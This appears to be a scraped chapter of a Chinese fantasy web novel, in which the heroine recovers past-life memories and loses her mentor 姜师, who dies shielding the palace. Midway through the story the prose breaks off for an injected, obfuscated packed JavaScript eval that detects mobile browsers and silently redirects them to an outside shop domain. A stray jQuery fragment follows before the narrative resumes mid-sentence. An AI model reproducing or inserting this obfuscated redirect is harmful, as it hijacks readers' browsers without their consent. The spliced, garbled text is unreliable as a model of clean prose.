文趣网 > 其他小说 > 废柴也要去捉妖吗 > 39. 失去旧友
    同之前一般,褚岁晕倒之时,一片记忆也随着妖骨珠入体缓缓而至。

    第一个画面。

    天宫,云流动着,四处弥散着强大的灵气。

    一棵巨大的古树长在殿前,枝干虬结如龙,树冠遮了小半边天。

    一条青黑色的蛇盘在最高的枝桠上,尾巴尖垂下来,慢悠悠地晃着。

    一只青翠色的鸟蹲在旁边,歪着头,用喙去啄那根晃来晃去的尾巴尖。

    是玄蛇与青鸾,玄蛇被啄得缩了一下,换了根枝桠盘,青鸾又跟了过去,换了一边啄。

    树下面传来一声笑,带着几分无奈的、纵容的嗔怪:“你们两个,又在打闹。”

    她从殿内走出来,日光落在她身上,衣袂被风吹起。

    那是神女,之前褚岁都瞧不清楚她的模样,而现在,她看得清晰,那张脸同自己一模一样。

    相似,却又不同,那身打扮以及浑身的气质都与褚岁不同,让她不禁恍惚,前世今生的羁绊变得具象起来。

    神女站在树下,仰头看着那两只闹腾的灵兽,伸手接住从树上落下来的一片青色的羽毛。

    玄蛇和青鸾同时化作人形,一左一右地落在神女身后,一人扯住她一边袖子。

    一个说“她啄我”,另一个说“他先盘我尾巴的”。

    神女转过身,看着两张正在互相告状的脸,笑着拍了拍他们的头,说:“行了,都别闹了。”

    褚岁站在画面之外,看着那个和自己一模一样的女人,看着她眼角那点温和的光。

    她以前对“神女”这件事没有实感,像在听别人的故事。

    现在她忽然觉得,那个人就是自己。

    是她,又不止是她。

    画面碎了。

    第二个画面依旧惊心动魄,仿佛在诉说神兽这不受控制的一生。

    玄蛇九颗头颅全部低垂着,只有正中间那一颗勉强抬起来,嘴角还挂着血。

    天兵列阵,层层叠叠地围在四周,肃穆无声。

    石阶上方站着一个身影,着玄色冕服,站在最高处,面容被光晕遮住了,只能看见一个轮廓。

    天帝开口,声音不高不低,却像一块巨石碾过整个天界:“押入妖界,剥夺神识,封存记忆,贬为堕妖。”

    褚岁站在画面边缘,拼命想看清那张脸。

    可那光晕太亮了,像隔着被水浸透的厚纸看一个人的影子,怎么都看不真切。

    只有那股威压,让她胸口发闷,像被人按住了喘不过气。

    画面又碎了,第三个画面。

    地下洞穴,和她方才那个地方很像,只是更潮湿,更暗。

    玄蛇被锁在石壁上,锁链穿过了他的肩胛、腰腹、蛇尾,暗青色的鳞片上覆着一层厚厚的灰。

    他瞳孔里的光已经浑浊了,像一潭被搅浑的水。

    褚岁站在他面前,伸出手,想碰一碰他的额头,指尖穿过了那道残影。

    她的心口忽然涌上一阵说不清道不明的酸涩。

    这神女究竟犯了什么错,要被天帝如此惩罚?

    她的灵兽要一个接一个地堕为妖兽,她要一世又一世地亲手收了他们。

    她隔着那道虚幻的光影,看着混沌中的玄蛇,轻声说了一句:“我到底做了什么……”

    画面本该到此结束,那些暗青色的鳞片和混浊的瞳孔一同褪去,像退潮时被海水卷走的沙。

    褚岁还没来得及从玄蛇最后那一眼的酸涩中回过神来,一道新的光从意识深处亮起。

    不像之前那些画面那样沉重,而是温的,像黄昏时分从窗缝里漏进来的最后一缕夕光。

    她看见了司命殿,不是想象中的那种森严殿宇,而是一座不大的阁楼,架在云海边缘,檐角挂着一串旧铜铃,风一吹就叮叮当当地响。

    殿内堆满了书册,一卷卷地摞着,有的摊开,有的半截压在另一卷下面,露出一角发黄的纸页。

    一个人坐在案后,正低着头写着什么,袖口沾了一小块墨渍,自己浑然不觉。

    褚岁瞪大双眼,那人竟然是姜师,一切的迷局都在此刻变得清晰起来。

    为何素昧平生却又倾囊相助?原是前世的旧友。

    神女拎着酒壶走进来,像进自家后院一样自然。

    她把酒壶往案上一搁,壶底磕在桌面上,发出“咚”的一声轻响。

    “老头,今日又不忙?”她问。

    姜师头也没抬,笔尖还在纸上走:“忙,怎么不忙。”

    他笔下那片字迹端端正正地写着“某年某月某日,某地某人,寿数几何”。

    神女歪着头读了两行,然后伸手把那卷册子从他面前抽走了。

    “哎!”姜师终于抬起头,手还悬在半空中,笔尖在空气中滴下一滴墨。

    神女把册子翻了两页,又合上,放回他面前:“你这字比我上次来的时候,又潦草了几分。”

    姜师低头看了看自己的字,又抬头看了看她,一脸认真地辩解:“这叫行云流水。”

    神女笑了,她从案上拎起那壶酒,拔开塞子,在他面前的杯盏里倒了一杯,酒液在杯中晃了两下,澄澈清透。

    “少写两笔,陪我喝一盅,耽误不了你。”姜师看着那杯酒,最终放下笔,端起杯子闻了一下,然后一饮而尽。

    “你又带酒来,不知道的还以为你才是司命殿的主人。”

    话音刚落,神女已经靠在了窗边,单手支着下巴,窗外是一片翻涌的云海。

    她的侧脸被夕光镀上了一层暖融融的边,声音懒懒的:“这不是怕你太闷。”

    姜师没有接话,只是又给自己倒了一杯。

    两个人沉默了一会儿,是那种很舒服的沉默,像两条各自流淌的溪流在同一个地方短暂地交汇,又各自往自己的方向去。

    窗外的云被风吹散了又聚拢,铜铃在檐角叮叮当当地响。

    神女忽然开口:“你每日坐在这案前,看天下人的命数,不累么?”

    姜师端着杯子想了想:“有时累。”他又喝了一口,“但看多了,也就习惯了。”

    神女偏过头看他:“那我的命数,你也看了吗?”

    姜师的手指在杯沿上停了一瞬:“看过了。”

    他没有说那上面写着什么,神女也没有追问。

    她只是端起自己那杯酒,朝他举了一下:“那就祝你,少看几本,多喝几杯。”

    他举起杯子和她碰了一下,清脆的一声响,在空旷的殿阁中轻轻荡开。

    两人似乎都知晓这是最后一次碰面,而后的画面就是神女被天兵羁押,打下凡间,其中的具体事件,褚岁并没有瞧见。

    她只觉得胸口闷闷的,姜师的脸一直回荡在自己的脑海,神女的记忆同自己的记忆交织在一起,尤为清晰。

    褚岁忽觉心脏钝痛,像有什么东西在胸腔里重重地攥了一下。

    她猛地睁开眼睛,盯着头顶的帐幔看了好几息,才意识到自己已经不在那个地下洞穴里了。

    日光从窗缝漏进来,落在她手背上,温的,暖的,和任何一天都没有区别。

    “醒了醒了!”云渺渺的声音从旁边炸开,紧接着是一阵椅子腿刮地面的声响,然后是急促的脚步声。

    褚听澜站在床边,那张平日里看不出什么情绪的脸,此刻写满了松了一口气的疲惫。

    他弯腰替她把被角掖了一下,动作很轻,像在确认她还完好。

    褚岁坐起来,脑袋还有些发沉,但她的目光落在褚听澜脸上,第一句话就是:“燕栩呢?”

    褚听澜的手顿了一下:“唐逸已经在给他医治了,脉搏稳下来了,人还没醒。”

    褚岁的嘴唇抿了一下:“都怪我……”

    云渺渺在旁边握着她的手,声音带着鼻音:“岁岁姐姐,你很厉害了。你这次诛杀了玄蛇,真的很厉害。”

    褚岁忽然想到什么,整个人僵了一瞬,玄蛇死了,地下宫殿坍塌了,那她挥下最后一剑的威力,足以让整座皇宫的地基崩裂。

    她抬起头看向褚听澜:“皇宫……皇宫怎么没事?”

    褚听澜张了张嘴,像是想说什么,又咽了回去。

    他的目光落在她脸上,又移开了。

    褚岁看着他支支吾吾的模样,心里那种钝痛又涌了上来:“大师兄,到底怎么了?”

    褚听澜沉默了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710890|203990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一会儿,他知晓自己师妹的脾气,若不问到底绝不会收手:“他不让我告诉你。”

    “但这次多亏了姜先生。他布了结界,把整个地宫坍塌的范围封住了,你自己去厢房看看他吧,还能见最后一面。”

    褚岁掀开被子跳下床,鞋都没穿好就往外跑,褚听澜和云渺渺见状紧跟在身后。

    厢房的门虚掩着,褚岁推门进去的时候,看见姜师靠在床边的地上,背抵着床沿。

    那只黄铜酒壶放在他手边,他伸着手想去够,手臂抬了一半又落了下来,没有了力气。

    他还是那副旧道袍,但那张脸比之前更瘦了,眼窝深陷,唇色淡得几乎看不见血色。

    日光从半开的窗照进来,落在他的肩头,把他那件洗得发白的道袍照得近乎透明。

    “老头!”褚岁冲进去跪在他面前,伸手握住他那只垂落的手。

    那只手凉得像冰,指尖微微蜷了一下,像是想回握她,又没什么力气了。

    姜师看见她的那一瞬间,浑浊的眼睛亮了一下,像一盏快灭的灯被人拨了一下灯芯:“你……都想起来了?”

    他的声音沙哑而低弱,但嘴角还挂着那抹懒洋洋的笑。

    褚岁的眼眶红了:“对不起……我都想起来了。司命殿,酒壶,你每次都说‘忙’,我每次都说你‘字又潦草了’……”

    她的声音越说越哑:“你为什么不告诉我……你为什么要自己扛。”

    姜师闭了一下眼睛,像是在攒力气,然后又睁开:“傻丫头,告诉你又怎样?你那时候什么都不知道,我若说‘我是天上来的,你前世是我酒友’,你怕不是觉得我是个江湖骗子,当场把我轰出去。”

    褚岁被他噎了一下,知晓人在故意逗自己笑,她吸了吸鼻子:“老头……”

    “别哭。”姜师喘了一口气,“我要是早说了,你还能那么自在地跟我说话么?你见了我,怕是又要行礼又要叫‘星君’,那多没意思。”

    他偏了一下头,看着她,目光像在隔着很长的年月看什么:“现在这样,就挺好。”

    褚岁攥紧了他的手:“那结界呢?你用全部修为布了结界,你知道自己会……”

    “知道。”姜师的声音轻了下去,但语气还是像个慈爱的老者,“可那个地下宫殿一塌,整个皇宫都得塌。你那一剑下去,不止玄蛇要死,宫里的那些人全得跟着陪葬。”

    他看着她:“你杀了玄蛇,是除妖。可若那些人因你而死,这笔账,你下辈子都还不清。”

    褚岁的眼眶红透了:“可你……”

    “我什么我。”姜师打断她,“我在天上呆了那么多年,看别人的命数看了一辈子,自己倒是头一回做了件像样的事。”

    他的声音越来越轻,抬手摸着褚岁的头:“再说了,在我心里,早就把你当成小女看待了。”

    褚岁低下头,眼泪簌簌滴落。

    神仙不允许在凡间滥用法力,姜师这次施的结界,让他受到了严重的反噬,

    姜师偏头看着褚岁,目光像在看很久以前的某个黄昏:“别哭。”

    他的声音越来越轻,轻到像是从很远的地方传来。

    “天上太闷了,你同我的那段时光,是老朽过得最快活的……”

    “我走了,丫头。”

    姜师说完最后一句话,那只被褚岁握着的手,正在一点一点地变淡。

    从指尖开始,像薄薄的烟,从边缘散开,化作细碎的灵光,向上飘散。

    “老头!不要……”褚岁伸手去抓,那些光尘从她指缝间漏过,温温的,像他指尖残留的最后一缕温度。

    那道光在半空中盘旋了一下,然后从窗户飘了出去,散进了日光里。

    什么都留不下来了,只有那只黄铜酒壶还孤零零地靠在床边。

    褚岁把它捡起来,抱在怀里,低着头止不住的哭。

    她才刚恢复与姜师的记忆,成为神女的第一件事居然是失去么。

    云渺渺站在门口,捂住了自己的嘴,褚听澜不忍,转过身去,肩膀微微动了一下。

    窗外的日光照进来,落在空荡荡的地面上,像什么都没少过,又像什么都少了。